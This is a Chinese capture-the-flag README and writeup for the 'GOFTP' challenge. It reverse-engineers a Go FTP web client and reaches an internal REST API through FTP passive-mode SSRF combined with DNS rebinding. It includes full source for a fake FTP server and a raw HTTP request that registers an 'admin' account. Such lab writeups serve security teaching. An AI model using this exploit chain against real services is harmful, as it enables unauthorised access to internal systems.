# GOFTP
restful API在内网9000端口。
# How to Start and Stop## start```shelldocker-compose up -d```
## stop```shelldocker-compose down --rmi all```
# writeup此题的附件只给了一个二进制文件。而网站内容是一个ftp的web客户端，需要注册登录才能使用。
我们先逆向此二进制文件，尝试去理解其逻辑。
![image-20211230161845575](https://gitee.com/AFKL/image/raw/master/img/image-20211230161845575.png)
网站主要的函数如上，其中`ShowSecretPage`似乎比较惹人注目。其逻辑如下。
![image-20211230162003056](https://gitee.com/AFKL/image/raw/master/img/image-20211230162003056.png)
逻辑似乎是将读取`/flag`文件后，直接打印到浏览器里。我们看看这个controller录属于哪个路由。
![image-20211230162709650](https://gitee.com/AFKL/image/raw/master/img/image-20211230162709650.png)
![image-20211230162758453](https://gitee.com/AFKL/image/raw/master/img/image-20211230162758453.png)
在`SetRoute`逻辑中我们可以看到对应的路由。可以看到这个controller属于`/admin`和`/admin/index`两个路由。但`/admin`的路由组中有一个中间件是`adminSessionCheck`，跟踪到这个中间件的逻辑。
![image-20211230163152071](https://gitee.com/AFKL/image/raw/master/img/image-20211230163152071.png)
可以看到其是将session中的username属性拿出，用`strings.EqualFold`函数比较`admin`字符串，如果两者不相等则展示`forbidden.html`。
那么整个应用中唯一能与session交互的地方应该是注册和登录逻辑。
在注册逻辑中，用户禁止注册用户为`admin`的用户。且用的函数也是`strings.EqualFold`，不能在这里下手脚。![image-20211230163556765](https://gitee.com/AFKL/image/raw/master/img/image-20211230163556765.png)
![image-20211230163612212](https://gitee.com/AFKL/image/raw/master/img/image-20211230163612212.png)
在创建用户的时候，应用会调用`WebFTPClient_model_CreateUser`而这个函数，这个函数将我们输入的数据编码后，用`grequests`库发给某个地址的`/api/user`路由。
![image-20211230164239157](https://gitee.com/AFKL/image/raw/master/img/image-20211230164239157.png)
题目描述中告知了restful api在9000端口，那么这里应该就是与restapi进行通信了。这里获取`grequest`的发包方法有很多，这里就以`L3H_Sec`队伍的方法为例：```dlv挂上去断在json里调试看看config结构，写个config.json把服务跑起来，抓下注册请求的包， username改成admin。```
因为整个应用是一个ftp的客户端，那么我们可以利用被动模式将上传文件的数据传到内网的restapi服务。在upload逻辑中，我们可以看到应用调用了`goftp`库。
![image-20211230165349267](https://gitee.com/AFKL/image/raw/master/img/image-20211230165349267.png)
那么我们可以在github搜索到它的[源码](https://github.com/dutchcoders/goftp/blob/ed59a591ce14ff6c19c49be14294528d11a88c37/ftp.go#L419)。在这里我们看见，开发者可能是为了安全或者偷懒，忽略了我们被动连接的ip，直接使用了当前连接主机的地址。
![image-20211230165626301](https://gitee.com/AFKL/image/raw/master/img/image-20211230165626301.png)
但问题不大，我们可以使用dns rebinding来规避。为了dns rebinding成功，我使用了自己写的假ftp服务器。```pythonimport socketimport timeimport sys
sendfile_ip = "127.0.0.1:9000"
def ip2server(ip):    host, port = str(ip).split(":")    return ('0.0.0.0', int(port))
def ip2pasv(ip):    host, port = str(ip).split(":")    return tuple([int(i) for i in host.split(".")]) + (int(port) // 256, int(port) % 256)
RETR_COMPLETE = b"226 Transfer complete.\r\n"ftp_table = {    "USER" : b"331 Username ok, send password.\r\n",    "PASS" : b"230 Login successful.\r\n",    "TYPE" : b"200 Type set to: Binary.\r\n",    "EPSV" : b"500 'EPSV': command not understood.\r\n",    "RETR" : b"150 File status okay. About to open data connection.\r\n",    "STOR" : b"150 File status okay. About to open data connection.\r\n",    "QUIT" : b"221 Goodbye.\r\n",    "PASV" : b"227 Entering passive mode (%d,%d,%d,%d,%d,%d).\r\n" % (ip2pasv(sendfile_ip))}
s = socket.socket()s.bind(("0.0.0.0", int(sys.argv[1])))s.listen(1)
while True:    print("="*30)    c, addr = s.accept()    print('已链接:', addr)
    c.send(b'220 pyftpdlib 1.5.6 ready.\r\n')    # time.sleep(10)    while True:        data = str(c.recv(1024).decode("utf-8")).replace("\n", "")        print(addr, " -> self:", data)        comm = data[:4]        time.sleep(5)        c.send(ftp_table.get(comm))        print("self ->", addr, ":", ftp_table.get(comm).decode("utf-8").replace("\n", ""))
        if comm == "RETR":            c.send(RETR_COMPLETE)            print("self ->", addr, ":", RETR_COMPLETE.decode("utf-8").replace("\n", ""))        elif comm == "QUIT":            c.close()            break```
也可以使用`pyftpdlib`库。
在upload路由填上准备好的dns rebind域名和注册admin用户的http请求包文件上传文件```addr: ftp://fan:[email protected]:8877file: 文件内容如下
PUT /api/user HTTP/1.1Host: 127.0.0.1:9000User-Agent: GRequests/0.10Content-Length: 64Content-Type: application/jsonAccept-Encoding: gzip
{"email":"[email protected]","password":"123456","username":"admin"}```
当ftp的响应卡在150响应之后，代表ssrf成功。使用上面文件发送的账号登录，访问admin路由即可拿到flag。